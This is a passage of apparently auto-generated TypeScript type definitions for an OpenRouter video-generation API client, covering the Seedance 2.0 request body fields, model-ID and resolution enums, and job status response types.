'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosBytedanceSeedance20RequestModelEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20RequestModelEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20RequestModelEnum] + +export const openrouterPostVideosBytedanceSeedance20RequestResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', + '4K': '4K', +} as const + +export type OpenrouterPostVideosBytedanceSeedance20RequestResolutionEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20RequestResolutionEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20RequestResolutionEnum] + +export const openrouterPostVideosBytedanceSeedance20RequestSizeEnum = { + '480x480': '480x480', + '480x640': '480x640', + '480x854': '480x854', + '640x480': '640x480', + '854x480': '854x480', + '1120x480': '1120x480', + '720x720': '720x720', + '720x960': '720x960', + '720x1280': '720x1280', + '720x1680': '720x1680', + '960x720': '960x720', + '1280x720': '1280x720', + '1680x720': '1680x720', + '1080x1080': '1080x1080', + '1080x1440': '1080x1440', + '1080x1920': '1080x1920', + '1440x1080': '1440x1080', + '1920x1080': '1920x1080', + '2520x1080': '2520x1080', + '3840x2160': '3840x2160', + '2160x3840': '2160x3840', + '2160x2160': '2160x2160', + '2880x2160': '2880x2160', + '2160x2880': '2160x2880', + '5040x2160': '5040x2160', +} as const + +export type OpenrouterPostVideosBytedanceSeedance20RequestSizeEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20RequestSizeEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20RequestSizeEnum] + +/** + * @description ByteDance: Seedance 2.0 (bytedance/seedance-2.0) — model-constrained video generation request. Seedance 2.0 is a video generation model from ByteDance. It supports text-to-video, image-to-video with first and last frame control, and multimodal reference-to-video. It is particularly strong at preserving character consistency,... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosBytedanceSeedance20Body = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosBytedanceSeedance20RequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosBytedanceSeedance20RequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosBytedanceSeedance20RequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: watermark, req_key. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosBytedanceSeedance20RequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosBytedanceSeedance20RequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosBytedanceSeedance20Options = { + body: OpenrouterPostVideosBytedanceSeedance20Body + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosBytedanceSeedance20Responses = { + '200': OpenrouterPostVideosBytedanceSeedance20Status200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosBytedanceSeedance20Response = + OpenrouterPostVideosBytedanceSeedance20Status200 + +export const openrouterPostVideosBytedanceSeedance20FastStatus200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosBytedanceSeedance20FastStatus200StatusEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20FastStatus200StatusEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20FastStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosBytedanceSeedance20FastStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosBytedanceSeedance20FastStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosBytedanceSeedance20FastRequestAspectRatioEnum = + { + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + '4:3': '4:3', + '16:9': '16:9', + '21:9': '21:9', + '9:21': '9:21', + } as const + +export type OpenrouterPostVideosBytedanceSeedance20FastRequestAspectRatioEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20FastRequestAspectRatioEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20FastRequestAspectRatioEnum] + +export const openrouterPostVideosBytedanceSeedance20FastRequestDurationEnum = { + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type OpenrouterPostVideosBytedanceSeedance20FastRequestDurationEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20FastRequestDurationEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20FastRequestDurationEnum] + +export const openrouterPostVideosBytedanceSeedance20FastRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + 